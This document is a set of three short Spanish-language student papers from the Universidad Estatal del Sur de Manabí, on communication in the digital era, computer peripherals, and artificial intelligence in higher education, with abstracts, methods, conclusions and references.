Jonathan Jair Salazar Merchán, Título de segundo nivel en Químico Biólogo, actualmente estudiante de la Universidad Estatal del Sur de Manabí de noveno semestre de la carrera de ingeniería en sistemas computacionales de la facultad de ciencias técnicas.

Heberth Joan Tejena Vélez, Título de segundo nivel en Informática, actualmente estudiante de la Universidad Estatal del Sur de Manabí de noveno semestre de la carrera de ingeniería en sistemas computacionales de la facultad de ciencias técnicas.

Edwin Joao Merchán Carreño. Docente de la universidad Estatal del Sur de Manabí.

Karina Virginia Mero Suárez. Docente de la universidad Estatal del Sur de Manabí.

Carlos Renán Mero Suárez. Docente de la universidad Estatal del Sur de Manabí.

LA COMUNICACIÓN EN LA ERA DE LA TECNOLÓGICA

Macías Pico Bryan Michael,

Ing. Edwin Joao Merchán Carreño. Mg.

Ing. Karina Virginia Mero Suárez. Mg.

Ing. Carlos Renán Mero Suárez. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

macias-bryan2350@unesum.edu.ec

RESUMEN

La presente investigación hace énfasis a la comunicación en la era tecnológica, considerando el gran avance y desarrollo que está teniendo la tecnología y las distintas redes sociales, hoy en la actualidad la comunicación y la difusión de información hacia otras personas se hace mediante algún tipo de red social o página web, es aquí donde podemos darnos cuenta que la comunicación en la actualidad es totalmente digital, las personas usan las distintas redes sociales para mantenerse en comunicación y resulta muy útil, pero al mismo tiempo puede llegar a ser un peligro si no la usamos de forma correcta. Hoy en día muchas personas usan las redes sociales para difundir información, pero en muchos casos esta información suele ser falsa lo cual suele pasar con frecuencia y provoca mal entendidos y en muchos casos causar la violencia, por eso hay que tener mucho cuidado al momento de ver noticias digitales por medios de redes sociales o páginas web que muchas veces suelen ser falsas.

PALABRAS CLAVE: comunicación; información; redes sociales; tecnologías.

ABSTRACT

The present research emphasizes communication in the technological era, considering the great progress and development that technology and different social networks are having, today communication and the diffusion of information to other people is now done through some type of social network or web page, this is where we can realize that communication is now totally digital, people use different social networks to keep in communication and it is very useful, but at the same time it can become a danger if not we use it correctly. Today many people use social networks to spread information, but in many cases this information is often false which often happens and causes misunderstandings and in many cases cause violence, so you have to be very careful when see digital news through social networks or web pages that often are often false.

KEY WORDS: communication; information; social networks; technologies.

1. INTRODUCCIÓN

Estamos viviendo una época donde las comunicaciones se dan de forma rápida y de manera oportuna, las personas en la actualidad buscan información precisa y que sea breve, ya que si la información es muy extensa las personas no suelen darse el tiempo para leer todo el texto y analizarla detenidamente.

Han llegado al punto de depender de las máquinas y de la tecnología para la comunicación y estas mismas han hecho que la información llegue a nuestras manos de manera inmediata afectando nuestras decisiones.

En la actualidad las personas se han llegado a convertir en generadoras de información y esta misma es difundida de manera inmediata y así mismo rápidamente compartida por distintas personas usando el internet y de igual manera por las redes sociales, debe de existir un control en la difusión de información puesto que al depender tanto de ella existen muchas personas que pueden llegar hacer mal uso de las mismas.

Los tiempos cambian y de forma drástica, así como la necesidad de las personas de informarse y comunicarse, cuando llegó el internet la forma de comunicarse entre las personas cambió radicalmente, es por esto que las personas que están en el ámbito de la información y comunicación deben estar siempre pendientes de los cambios que se producen diariamente en la tecnología para difundir la información.

Si lo vemos desde el punto de vista bibliotecológico la era digital ha puesto obstáculos al momento de transmitir y comunicar la información ya que en las escuelas no solamente deberá tener información en libros, ya que ahora deberá ser digital ya que en la actualidad la información que se comparte es digital, por esta misma razón se deberá enfatizar en la creación y administración de sistemas que permitan entregar dicha información de forma ordenada ya que como anteriormente se mencionó hoy en día cualquier persona puede crear cualquier tipo de información y difundirla y muy fácil caer y creer que esa información sea verídica, relevante y no información basura.

Debido a que en la actualidad existen distintos tipos de comunicación, también se necesita que las personas que trabajan en sistemas de información tengan conocimiento de los diferentes formatos, estilos y tipos de comunicación y que cada uno debe ser tratado de forma diferente

para si mejorar la información que llega a las personas y en el caso de los bibliotecarios a sus usuarios.

Hemos llegado a una era donde toda la información es creada y difundida rápidamente, las comunicaciones han hecho que el mundo sea más pequeño y que estemos todos conectados, lo queramos o no. Los distintos tipos de comunicaciones pueden llegar a ser estrictamente públicas y privadas, en la era digital en la cual nos encontramos se puede llegar a confundir permitiendo que las comunicaciones privadas sean divulgadas y las públicas no la cual crea un círculo vicioso en las comunicaciones.

Al mismo tiempo existen un sin número de empresas que ofrecen distintos servicios de comunicación como lo es el Twitter, WhatsApp, Facebook, entre otras, favoreciendo personas que pueden elegir entre varias opciones en sistemas y empresas de comunicación y mejorando al mismo tiempo los servicios que ofrecen en comunicaciones.

2. MATERIALES Y MÉTODOS

Materiales

- Computador
- Internet
- Libros

Métodos: El método es investigativo, ya que por medio de varios análisis y por el manejo de las personas en la forma de comunicación que llevan actualmente nos damos cuenta que somos muy dependientes del internet que es la forma más rápida de difundir información y mantener comunicación, además de que esa información puede ser alterada o basura.

3. RESULTADOS Y DISCUSIÓN

La irrupción de Internet ha posibilitado que cualquier persona pueda difundir cualquier tipo de información ya sea veraz o no.

Según las estadísticas las redes sociales son las vías más asequibles para poder difundir información que puede ser buena o mal al mismo tiempo.

4. CONCLUSIONES

Con el caótico problema de que las personas son capaces de difundir información de cualquier tipo se deben de poner distintas restricciones para que no ocurra distintos altercados.

Queda claro que será cada año más difícil combatir contra la vulnerabilidad gracias a la diaria innovación de las personas que tienen para poder difundir información a libre albedrío.

REFERENCIAS BIBLIOGRÁFICAS

Aedo, N. (Miércoles de junio de 2016).

<http://malditostesauros.blogspot.com/2012/06/ensayo-sobre-comunicacion-en-la-er>

Vazquez, C. (jueves de octubre de 2017). *Cómo afecta la tecnología a la comunicación.*

Obtenido de documento_de_trabajo_042014.pdf.

BIOGRAFÍAS DE AUTORES

Macias Pico Bryan Michael, Estudiante de 9no Semestre de la Carrera de Ingeniería en Sistema Computacionales de la Universidad Estatal del Sur de Manabí.

Edwin Joao Merchán Carreño. Docente de la universidad Estatal del Sur de Manabí.

Karina Virginia Mero Suárez. Docente de la universidad Estatal del Sur de Manabí.

Carlos Renán Mero Suárez. Docente de la universidad Estatal del Sur de Manabí.

IMPACTO EN EL ÁMBITO INFORMÁTICO DE LOS PERIFÉRICOS MICROINFORMÁTICOS

Ing. Pascual Ángel Pisco Gómez. Mg.

Yanina Joselyn Lino Solís,

Julissa Rafaela Zambrano Chica,

Lima García Jocelyne Alejandra,

Erwin Camilo Bermúdez Franco

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

angelloc456@yahoo.com

joselyn14lino@gmail.com

julissazambrano335@gmail.com

joce_alejandra2003@hotmail.com

RESUMEN

El presente trabajo refleja la importancia de dar a conocer los diferentes tipos de periféricos tanto de entrada como salida siendo parte fundamental para todos los sistemas informáticos y en todo lo relacionado al campo tecnológico para mejorar el beneficio de cada uno de ellos, porque sin estos dispositivos no sería nada fácil el manejo y control de los ordenadores, es más ni siquiera serían capaces de funcionar en su máximo desarrollo. El objetivo propuesto de esta investigación es de, con esta información el usuario este altamente capacitado para llevar a cabo el control, manejo y funcionamiento de los dispositivos periféricos de cualquier tipo de equipo informático para evitar daño a futuro. Obteniendo como resultado el manejo de inconvenientes al momento de utilizar cada elemento de un equipo u ordenador. Se estableció la implementación de los siguientes métodos a continuación, tales como el método de inducción-deducción y análisis-síntesis los cuales contribuyeron al desarrollo y capacidad de resolver los inconvenientes en las funciones y capacidades que contienen los dispositivos periféricos en cada uno de los equipos tecnológicos. Se obtuvo como resultado que los usuarios de la carrera de tecnologías de la información obtengan un mejor y amplio conocimiento en cuanto a las técnicas de manejo y manipulación de los equipos informativos y sus derivados evitando con esto daños, maltrato y mala manipulación a los ordenadores.

PALABRAS CLAVE: aprendizaje, equipo informático, ordenadores, periféricos.

ABSTRACT

The present work reflects the importance of making known the different types of peripherals both input and output being a fundamental part for all computer systems and everything related to the technological field to improve the benefit of each of them, because without these devices it would not be easy to manage and control computers, or even to be able to function at their maximum development. The proposed objective of this research is, with this information, the user is highly trained to carry out the control, operation and operation of the peripheral devices of any type of computer equipment to avoid future damage. Obtaining as a result the handling of inconveniences when using each element of a computer or computer. The implementation of the following methods was established, such as the induction-deduction and analysis-synthesis method, which contributed to the development and ability to resolve the disadvantages in the functions and capacities contained in the peripheral devices in each of the equipment. Technological the result was that the users of the information technology career obtain a better and wider knowledge regarding the techniques of handling and manipulation of the information equipment and its derivatives, avoiding with this damages, mistreatment and bad manipulation to the computers.

KEYWORDS: computer equipment, computers, learning, peripherals,

1. INTRODUCCIÓN

El inadecuado uso de los periféricos informáticos es un problema que parte desde el comienzo de la informática de allí nace el daño que se causa a los ordenadores, el poco ciclo de vida con el que algunos cuentan y el uso inadecuado que se les da a algunos, hay usuarios que por un descuido inoportuno de algún periférico en desorden su equipo conlleva a tener graves problemas hasta perdida del mismo de aquí recae la inseguridad y el poco interés que le brindan algunos a estos tipos de problemas y es que por la falta de conocimiento no se puede dar ninguna solución.

De acuerdo con (Javi, 2010) “Ningún sistema informático se podría manejar ni llevar a un uso adecuado, si no contara con periféricos apropiados y que se asocian a su utilidad”. Aquellos elementos o miembros del sistema informático logran mantener una conexión con el usuario y también lo puede hacer con distintos sistemas informáticos.

Los periféricos microinformáticos son elementos que esta presentes en todos los ámbitos de la vida cotidiana por tanto es necesario aprender a utilizarlos ya que con el pasar de los años la tecnología y sus avances se han hecho cada vez más notables actualmente existen diversos

tipos de periféricos desde los más antiguos hasta los actuales ya sea en monitor, teclado, mouse, escáner e impresoras todos estos y sus componentes denotan su gran utilidad.

El objetivo propuesto de esta investigación es que con esta información el usuario este altamente capacitado para llevar a cabo el control y conocimiento ante cualquier situación referente a daños, mala manipulación y mal funcionamiento de los dispositivos periféricos de cualquier tipo de equipo informático para evitar un daño más grave a futuro. Dado esto la aceptación estuvo presente en los usuarios, entendieron que este tema es de alta importancia y sobra decir que quedó en claro que se llevara a cabo los conocimientos aplicados referentes a al impacto que causan los periféricos informáticos en el ámbito de lo informático.

2. DESARROLLO

Periféricos

Los periféricos microinformáticos. “Son dispositivos o elementos con los cuales el equipo que los va a implementar logra con ayuda de estos brindar información necesaria, solicitada por el o los usuarios que está manejando algún tipo de trabajo” (Prieto, 2012). Desde cierto punto de vista se da a notar que los periféricos son los principales responsables del funcionamiento de un ordenador y es fácil e imprescindible aprender el funcionamiento que cumple cada uno de ellos, así como también se debe saber elegir el modelo de periférico adecuado para nuestra manipulación.

Microinformáticos

Los sistemas microinformáticos “Son uno de los sistemas más utilizados en la vida actual como por ejemplo los teléfonos móviles que a medida que va avanzando el tiempo van evolucionando ya que en la actualidad existen teléfonos inteligentes con infinidad de aplicaciones disponibles” (Sevilla, s.f.). Un ordenador de estos es muy indispensable para la sociedad, por tan pequeño que sea es muy útil con la ayuda de ellos nos comunicamos con clientes y proveedores, debido al avance de la tecnología también podemos tener acceso a la conexión a internet. En el dispositivo microinformático también se pueden ejecutar aplicaciones como los sistemas operativos de un ordenador portátiles y equipos de sobremesa la cuales se pueden ejecutar primordialmente Linux, Windows, OSX y Android para teléfonos móviles. A nivel de hardware se analizan principales componentes en equipos de sobre mesa como portátiles del sistema operativo con los principales periféricos se necesita algunas herramientas indispensables para realizar un montaje, mantenimiento y reparación de estos equipos. Los componentes principales de un hardware interno son placa base, memoria RAM, procesador, disco duro,

Case, fuente de poder, y tarjeta gráfica. Los periféricos más comunes son el teclado, mouse, monitor, impresora y escáner. Para todos estos componentes tanto internos como periféricos se ha analizado las características que ofrecen cada una de ellas. Un ejemplo son las impresoras de inyección de tinta frente a las laser o los discos duros mecánicos en comparación con y los discos de estado sólido (SSD).

“Estos dispositivos electrónicos se acoplan a un ordenador o a algún otro terminal de manera rápida siempre y cuando sea el adecuado, y manteniendo las normativas correctas de cada uno, estos habitualmente llegan a enlazarse a los diversos puertos de un cerebro electrónico” (Alegsa, s.f.).

Unidades y periféricos microinformáticos

“Las primeras unidades y periféricos que constituyen un sistema microinformático y las diferencias que se deben tener en cuenta a el lapso de elegir un elemento frente a los demás, para poder acoplarlos en una unidad por piezas a partir de cero, así que para extender o sustituir cualquier de los antedichos de los dispositivos” (Sevilla, s.f.). Cualquiera de estos elementos es conexo y muestran subordinación unos de otros, por ellos hay que obtener presente un enfoque completo del vinculado, Con la parte de los aparatos hay una gran variabilidad al tiempo de ordenar. Estos módulos son preciso en cualquier computadora son agregado en su totalidad de las unidades para su actual trabajo al momento de realizar una comprar de estos equipos se les añade o guarda toda la información necesaria para poder tener algún resguardo si tenemos inconvenientes con el ordenador o se nos llegue a quemar por eso es necesario tener una copia de todos los archivos necesarios y los que son más utilizados por el usuario.

“El teclado como tal es un dispositivo de entrada de información más común en la actualidad” (Jimenez, s.f.). Sin embargo, cabe la posibilidad de que este se someta a un proceso de sustitución dentro de unos años por nuevas y mejoradas metodologías de tecnología tales como el léxico o las mímicas, hasta el momento actual este es el periférico más proporcionado para llevar a cabo el proceso de escribir contextos en una máquina.

“El mouse cuenta como un periférico traspunte que se lleva a cabo con una sola mano y que también muestra la ideología que se quiere llevar a cabo con él al momento de querer seleccionar algo en la pantalla de un ordenador” (Jimenez, s.f.). Normalmente posee dos mandos y un anillo, los mandos tienden a nombrarse mando derecho y mando izquierdo y se

utilizan para establecer el manejo del mismo, mientras que el anillo coopera en los deslizamientos verticales de un pilotaje por archivos, documentos, web, entre otros.

“El monitor es aquel en donde se proyecta cualquier tipo de dato deseado y entregado por el ordenador” (Jimenez, s.f.), naturalmente se habla de un dispositivo fundado en un conducto de rayos catódicos idéntico al de los aparatos televisivos, mientras que en los móviles y terminales actuales es una pantalla plana de cristal neto, la indagación se muestra a través de píxeles y estos son una diminuta forma mostrable en la pantalla, cada uno de ellos prende con un categórico color para recrear el perfil que se desea observar, en si el monitor es el módulo que interactúa inicialmente con un procedimiento informático, su primordial trabajo es brindar una visión de las rutinas que se están llevando a cabo en el equipo, este monitor puede ser relacionado con algunos puntos de conexión como DVI, HDMI, así como también cuentan con diversos modelos monitor LCD, monitor CTR, monitor LED, etc.

“La impresora es un tipo dispositivo periférico de un equipo en el que se emplean pequeños tubos de tintas como la electrostática en seco que crea un prototipo de tecnología láser para darle nación a una fotocopia en papel e incluso otros medios como a fotografías” (Jimenez, s.f.), contextos gráficos entre otros que se conservan guardados en formatos electrónicos originarios de un computador personal de algunos aparatos informáticos con una conexión a red o concisamente de una tarjeta de memoria, una cámara de fotos o escáner.

“Los escáneres planos son tipo de escáner más distinguido y transferido, por su alta rendimiento. Son de buena calidad” (Prieto, 2012), fáciles a la hora de su manejo, y con un extenso medio. Su renombre frente a su publicación en la Internet partió un gran mercado, En el otro lado, los dispositivos facilitan que sean más comercializados en las empresas de gráficos ahora contienden los escáneres de tambor en todo lo que es la característica que presenta cada uno de ellos.

“Las cámaras digitales ajustan un escáner con reflejo de cámara para crear un instrumento variable que logra provocar una imagen de calidad” (Jimenez, s.f.). A pesar de ser más lentas y más dificultosos de manipular que los escáneres planos, las cámaras digitales se adecúan a una extensa diversidad de documentaciones y cosas.

“Un micrófono es un periférico que admite al usuario transferir eco a una computadora. Lo alternamos al igual que los altoparlantes como una unidad primordial” (Jimenez, s.f.), debido a la jerarquía que se le da en los sistemas informáticos a la multimedia en la actualidad. Un micrófono es un dispositivo de ingreso que logra ser acoplado a un conector de terminal Jack.

En este contexto podemos agregar lo que es un altavoz el cual nos dice que es implementado para reproducir resonancia en el computador actualmente está resonancia es de gran significado en los computadores debido a que su adjunto multimedia basado en la web, así como en apps se encuentra muy alargado actualmente.

3. MATERIALES Y MÉTODOS

En base a esta investigación realizada se estableció la implementación de los siguientes métodos a continuación: Tales como el método de inducción-deducción y análisis-síntesis los cuales contribuyeron al desarrollo y capacidad de resolver los inconvenientes en las funciones y capacidades que contienen los dispositivos periféricos en cada uno de los ordenadores y equipos tecnológicos. El método análisis-síntesis, con el cual se llevó a cabo una recolección de información para analizar la cantidad de conocimiento con el que contaba cada usuario y la capacidad de practica que poseían en lo relacionado a periféricos microinformáticos, dado esto se determinó que los usuarios debían necesariamente obtener más conocimientos debido a que algunos no contaban con lo requerido en este ámbito. El método de inducción-deducción nos ayudó a llegar a la verdadera causa del problema, que era la falta de conocimiento por parte de los usuarios tanto en lo práctico como en lo teórico por esto en reiteradas ocasiones ocurren daños equipos tecnológicos.

4. RESULTADOS Y DISCUSIÓN

Se obtuvo como resultado que los usuarios con la información obtenida les brinden un mejor y adecuado uso a los equipos tecnológicos no solo en la carrera Tecnología de la Información sino más bien en cualquier otro sitio informático, que tengan la seguridad y capacidad de lo que hacen de acuerdo a el uso que les deben brindar a los ordenadores mantenerse en un ámbito seguro, confiable, evitando la vulnerabilidad de los equipos informáticos e incrementando el conocimiento y la buena práctica de los mismos. Los usuarios ya sean alumnos, docentes o encargados de los ordenadores deben contar con una amplia gama de conocimientos y para esto deben de tener todo el derecho a recibir cualquier tipo de información benéfica y de ayuda por parte de un personal encargado y de amplios conocimientos en ámbitos como estos.

Conforme avanza la tecnología de la misma manera deben avanzar los conocimientos, claro está que la tecnología está presente y es parte importante en cada ciclo de vida, así mismo se debe contar con una minuciosa táctica y manipulación por parte de los usuarios hacia el ciclo de vida de un equipo tecnológico y sus periféricos microinformáticos dado que de aquí parte

la evolución del mismo. Estos dispositivos ayudan en todo momento en las grandes empresas como en las medianas o pequeños grupos de trabajo.

5. CONCLUSIONES

- Los dispositivos periféricos son de gran utilidad para el manejo y uso de un ordenador, además de que son obligatorios en todo sistema informático, para eso hay que saber el funcionamiento de cada uno de ellos, teniendo en cuenta las normativas correctas y avanzadas de cada elemento porque con el pasar de los años se van actualizando y encajando a las necesidades de las personas, formando parte de nuestro diario vivir.
- Con los avances tecnológicos, el ser humano ha sabido a adaptar a sus necesidades logrando así avances significativos dentro de la tecnología, lo mismo ocurre con los elementos o periféricos de una maquina se deja a un lado lo antiguo para crear y darle forma a un periférico nuevo y actual acorde con los beneficios que demanda el nuevo mundo.

6. RECOMENDACIONES

- Utilizar los equipos tecnológicos responsablemente, con autorización de un responsable autorizado para solicitar la manipulación de los mismos, para evitar incidentes o daños en los equipos.
- Verificar periódicamente los nuevos avances tecnológicos que tenga incidencia sobre los periféricos microinformáticos de cualquier tipo de equipo tecnológico, para así lograr llevar a cabo un mejor trabajo.
- Para apoyar el proceso enseñanza-aprendizaje recuerde que debe llevar todo su conocimiento a la práctica libre y responsablemente y guiado por un técnico autorizado en el ámbito, para evitar inconvenientes.

REFERENCIAS BIBLIOGRÁFICAS

Alegsa, L. (s.f.). *alegsa.com.ar*. Obtenido de *alegsa.com.ar*:
<http://www.alegsa.com.ar/Dic/periferico.php>

Javi. (2010). Obtenido de <http://mci-2009-2010.blogspot.com/2010/01/tema-4-perifericos-microinformaticos.html>

Jimenez, A. J. (s.f.). *es.scribd.com*. Obtenido de *es.scribd.com*:
<https://es.scribd.com/document/266344066/Perifericos-Microinformaticos-pdf>

Prieto. (2012). Obtenido de
[http://roble.pntic.mec.es/jprp0006/tecnologia/2eso_recursos/unidad7_componentes_or
denador/apuntes/pagina3.htm](http://roble.pntic.mec.es/jprp0006/tecnologia/2eso_recursos/unidad7_componentes_or
denador/apuntes/pagina3.htm)

Sevilla, J. E. (s.f.). *PFC_F_Jose_Escribano_Sevilla*. Obtenido de
PFC_F_Jose_Escribano_Sevilla.: file:///E:/PFC_F_Jose_Escribano_Sevilla.pdf
sistemas.com. (s.f.). Obtenido de sistemas.com: <https://sistemas.com/microinformatica.php>

BIOGRAFÍAS DEL AUTOR

Pisco Gómez Pascual Ángel, Master - Ingeniero Computación y Redes - Docente de la Carrera de Tecnologías de la Información - Facultada de Ciencias Técnicas de la Universidad Estatal del Sur de Manabí.

Lino Soliz Yanina Joselyn, Estudiante Universidad Estatal del Sur de Manabí, Carrera Tecnología de la Información

Zambrano Chica Julissa Rafaela, Estudiante Universidad Estatal del Sur de Manabí, Carrera Tecnología de la Información

Lima García Jocelyne Alejandra, estudiante Universidad Estatal del Sur de Manabí, Carrera Ingeniería en Medio Ambiente

LA INTELIGENCIA ARTIFICIAL COMO APOORTE A LA EDUCACIÓN SUPERIOR

Bayas Plaza Byron Delber,

Parrales Pilligua Ariel Alexander,

Lcda. Kirenia Maldonado Zúñiga. Mg.

Ing. Pascual Ángel Pisco Gómez. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

bayronbayas@gmail.com

RESUMEN

La inteligencia artificial es la disciplina que se encarga de construir procesos que al ser ejecutados sobre una arquitectura física. En la presente investigación se obtuvo que la inteligencia artificial incluye características humanas tales como el aprendizaje, la adaptación, el razonamiento, la autocorrección, el mejoramiento implícito y la percepción de modelar del mundo, se puede hablar ya no sólo de un objetivo, sino de muchos dependiendo del punto de vista o utilidad que pueda encontrarse a la misma. El objetivo de esta investigación, fue conocer su avance e importancia en la educación. La implantación de la IA provocará un cambio en el rol del docente, deberá aumentar sus conocimientos sobre las tecnologías. Algunos denominan ya el 'maestro digital' porque una de sus herramientas de trabajo serán las aplicaciones de aprendizaje óptimas, geolocalización y servicios académicos, planeación y gestión académica en planteles educativos, entre otras. En la investigación se utilizaron métodos de la investigación científica tales como: histórico-lógico acompañado del método de análisis - síntesis y observación, los que permitieron el desarrollo de la investigación. Los resultados determinaron que la inteligencia artificial incluye características humanas tales como el aprendizaje, la adaptación, el razonamiento, la autocorrección, el mejoramiento implícito, y la percepción de modelar del mundo. Las conclusiones demuestran que ningún ser humano tiene la capacidad de resolver todos los problemas existentes. Por lo tanto es muy importante detonar que tipos de problemas se podrán resolver, la estrategia y algoritmos que se realizarán para llegar a dichas respuestas.

PALABRAS CLAVE: aprendizaje, estudiantes, impacto, tecnología.

ABSTRACT

Artificial intelligence is the discipline that is responsible for building processes that are executed on a physical architecture. In the present investigation it was obtained that artificial intelligence includes human characteristics such as learning, adaptation, reasoning, self-correction, implicit improvement and the perception of modeling of the world, one can speak not only of an objective, but of many depending on the point of view or utility that can be found therein. The objective of this research was to know its progress and importance in education. The implementation of the AI will cause a change in the role of the teacher, should increase their knowledge about the technologies. Some already call the 'digital master' because one of their working tools will be the optimal learning applications, geolocation and academic services, planning and academic management in schools, among others. The research used scientific research methods such as: historical-logical accompanied by the method of analysis - synthesis and observation, which allowed the development of research. The results determined that artificial intelligence includes human characteristics such as learning, adaptation, reasoning, self-correction, implicit improvement, and the perception of modeling the world. The conclusions show that no human being has the ability to solve all existing problems. Therefore, it is very important to determine what types of problems can be solved, the strategy and algorithms that will be carried out to arrive at said answers.

KEYWORDS: learning, students, impact, technology.

INTRODUCCIÓN

Esta tecnología, que poco a poco va implantándose en el entorno educativo, ayuda a desdibujar la línea entre la enseñanza formal y el aprendizaje individual, fomentando que cada alumno aprenda a su propio ritmo. En los próximos años, es probable que los docentes reciban ayuda de la Inteligencia Artificial (IA) con el fin de mejorar la interacción con los alumnos, tanto en el aula como en casa. Así lo afirma el estudio 'Artificial Intelligence and Life in 2030' elaborado por la Universidad de Stanford. En él, sus autores analizan la presencia y repercusión de la IA en diferentes ámbitos de la sociedad. En el educativo creen que estas técnicas servirán para desdibujar la línea entre la enseñanza formal en el aula y el aprendizaje individual, de forma que cada alumno vaya a su propio ritmo.

El proceso de enseñanza no está exento de tareas repetitivas que roban al profesor tiempo y energía. La IA actual es capaz de automatizar muchas de estas tareas administrativas, como realizar evaluaciones de trabajo en casa o calificaciones de exámenes tipo quiz con una velocidad y precisión mayor que la del profesorado.

Un estudiante, un aprendizaje, esto lleva a la segunda de las aplicaciones de uso de la IA: el aprendizaje personalizado. Un objetivo difícil de llevar a cabo con las técnicas de enseñanza tradicional, pero que se sitúa en el centro del uso de las nuevas tecnologías en el aula. Algunas aplicaciones de la IA se orientan a diseñar unidades didácticas adaptables dinámicamente al estudiante. Ayuda a proporcionarles itinerarios de aprendizaje y contenidos personalizados.

La inteligencia artificial en educación en cuanto al aprendizaje colaborativo, se sabe que los estudiantes aprenden mejor, mantienen el conocimiento más tiempo y tienen una experiencia más satisfactoria cuando trabajan en equipo. Los beneficios del uso de la IA parecen evidentes y un indicador de que estas aplicaciones no tardarán en llegar a las aulas es que grandes empresas como Google y Microsoft ya están poniendo en marcha iniciativas para su desarrollo. Su implantación, sin embargo, no será inmediata.

A la falta de recursos económicos y de datos que constaten su eficacia, se une el hecho de que herramientas como los ordenadores, los teléfonos móviles o las tabletas, todavía no están plenamente integrados en las aulas. Al menos, de forma generalizada. La implantación de la Inteligencia Artificial en las aulas está directamente relacionada con la implantación de las tecnologías de la información en su sentido más amplio.

La implantación de la IA, por otro lado, provocará un cambio en el rol del docente. No solo porque deberá aumentar sus conocimientos sobre tecnología; también porque podrá centrarse más en el alumno. Es lo que algunos denominan ya el ‘maestro digital’ porque una de sus herramientas de trabajo serán las aplicaciones. En los próximos años, tendremos aplicaciones que apoyarán mucho a los docentes en la enseñanza. Se vislumbran aplicaciones como rutas de aprendizaje óptimas, geolocalización y servicios académicos, planeación y gestión académica en planteles educativos, entre otras.

Con el uso de la Inteligencia Artificial, la frontera entre la educación en el aula, el aprendizaje en línea y el aprendizaje auto dirigido se hace cada vez más difusa. Los tutores inteligentes

podrán optimizar la búsqueda y empleo de contenidos entre una inmensa cantidad de recursos disponibles dándole al estudiante nuevas oportunidades de aprendizaje. Esto no significa que la figura del profesor vaya a desaparecer. Sin embargo, es importante tener presente que la automatización implica un reto al profesional de la educación que deberá formarse en el uso de este tipo de tecnologías. La robótica formará parte de nuestro contexto de aprendizaje.

Todas estas tecnologías presentan ventajas plausibles para el mundo de la educación, pero también desafíos para docentes y alumnos. “Se cree que las aplicaciones de la inteligencia artificial serán mucho más comunes y útiles hacia 2030, y mejorarán nuestra economía y calidad de vida. Pero esta tecnología también creará grandes desafíos, que afectarán al trabajo, a los ingresos y a otros temas de los que debemos comenzar a hablar para asegurarnos de que los beneficios de la inteligencia artificial sean ampliamente compartidos. En el caso de la educación, los beneficios apuntan hacia la personalización del aprendizaje, la expansión del aula y una mayor y mejor interacción entre profesores y alumnos, tanto dentro como fuera de clase. La confluencia de los sistemas de aprendizaje online, los tutores inteligentes y la analítica del aprendizaje contribuirían a personalizar la educación y extenderla más allá de las paredes del aula, de manera que los alumnos por clase se multiplicarían significativamente. Esto también dará lugar a que muchos adultos y profesionales puedan ampliar su educación de manera sencilla, ya que muchos grados y certificaciones profesionales podrán obtenerse vía online o semipresencial, lo que también favorecerá la educación permanente o lifelong learning.

La Inteligencia Artificial (IA) ya ha comenzado a tener un impacto transformador a través de cada industria. Desde ayudar a los empleados en compañías de transporte a predecir tiempos de llegada o problemas que pudieran surgir, a predecir las toxinas presentes en granos para alimento. Ayuda a los científicos a aprender cómo tratar el cáncer de manera más efectiva y agricultores han comenzado a descubrir cómo cultivar más alimentos a través de utilizar menos recursos naturales.

De manera sorprendente, las economías en desarrollo tienen un optimismo más significativo acerca de los efectos positivos de la IA, pues 83 % de ellos esperan un incremento, comparado con sólo seis de cada diez encuestados en las economías avanzadas.

2. MATERIALES Y MÉTODOS

En la investigación se usaron métodos de la investigación científica como:

Histórico-lógico: se utilizó para buscar los antecedentes con énfasis en desarrollar una ponencia que abarque el tema Inteligencia Artificial.

Análisis-Síntesis: se analizó como la Inteligencia Artificial se aplica en la educación superior.

Observación: se observó que la Inteligencia Artificial se utiliza en muchos ámbitos demostrando su impacto y avance en la educación.

3. RESULTADOS Y DISCUSIÓN

Se puede decir que la inteligencia artificial incluye características humanas tales como el aprendizaje, la adaptación, el razonamiento, la autocorrección, el mejoramiento implícito, y la percepción de modelar del mundo. Así, se puede hablar ya no sólo de un objetivo, sino de muchos dependiendo del punto de vista o utilidad que pueda encontrarse a la inteligencia artificial. Muchos de los investigadores sobre inteligencia artificial sostienen que "la inteligencia es un programa capaz de ser ejecutado independientemente de la máquina que lo ejecute, computador o cerebro".

1. CONCLUSIONES

Para que este escenario sea posible, los docentes y demás actores de la comunidad educativa tendrán que afrontar un reto clave: saber integrar este tipo de tecnologías con el aprendizaje presencial y la interacción humana, esto supone tomar conciencia de las posibilidades de la inteligencia artificial en la educación y reformular el proceso de enseñanza-aprendizaje para que estas nuevas tecnologías encajen de una forma práctica y significativa, de forma que puedan reportar los beneficios señalados.

REFERENCIAS BIBLIOGRÁFICAS

impaqto.net. (24 de Junio de 2017). Ecuabots: Inteligencia artificial al servicio de la comunidad. Obtenido de www.impaqto.net: <https://www.impaqto.net/ecuabots-inteligencia-artificial-al-servicio-la-comu>

Judah, N. (s.f.). EL IMPACTO GLOBAL DE LA INTELIGENCIA ARTIFICIAL EN LAS DIFERENTES INDUSTRIAS. Obtenido de www.anahuac.mx: <https://www.anahuac.mx/generacion-anahuac/el-impacto-global-de-la-inteligencia-artificial-en-las-diferentes-industrias>

Sarango Chamba, J. (s.f.). Inteligencia Artificial. Obtenido de www.monografias.com: <https://www.monografias.com/trabajos89/inteligencia-artificial-disciplina/inteligencia-artificial-disciplina.shtml>

Stuart Russell. Inteligencia Artificial Un Enfoque Moderno, Segunda Edición.

<http://sistemas.ing.ula.ve/~wladimir/InteligenciaArtificial/InteligenciaArtificialClase1.pdf>

Stuart Russell. Inteligencia Artificial Un Enfoque Moderno, Segunda Edición.

BIOGRAFÍA DE AUTORES

Byron Delver Bayas Plaza, estudio en la Universidad Estatal del Sur de Manabí, Bachiller en Contador en la Unidad Educativa Fiscal “13 de Diciembre” La Tunas-Manabí-Ecuador.

Parrales Pilligua Ariel, Alexander estudio en la Universidad Estatal del Sur de Manabí, Bachiller en Contador en la Unidad Educativa Fiscal “13 de Diciembre” La Tunas-Manabí-Ecuador.

Kirenía Maldonado Zuñiga, Máster en Ciencias de la Educación, Licenciada en Educación Informática, Universidad de Ciencias Pedagógicas, Holguín Cuba.

Pascual Angel Pisco Gomez, Máster en Gerencia Educativa, Ingeniero en Computación y Redes, Universidad Estatal del sur de Manabí.

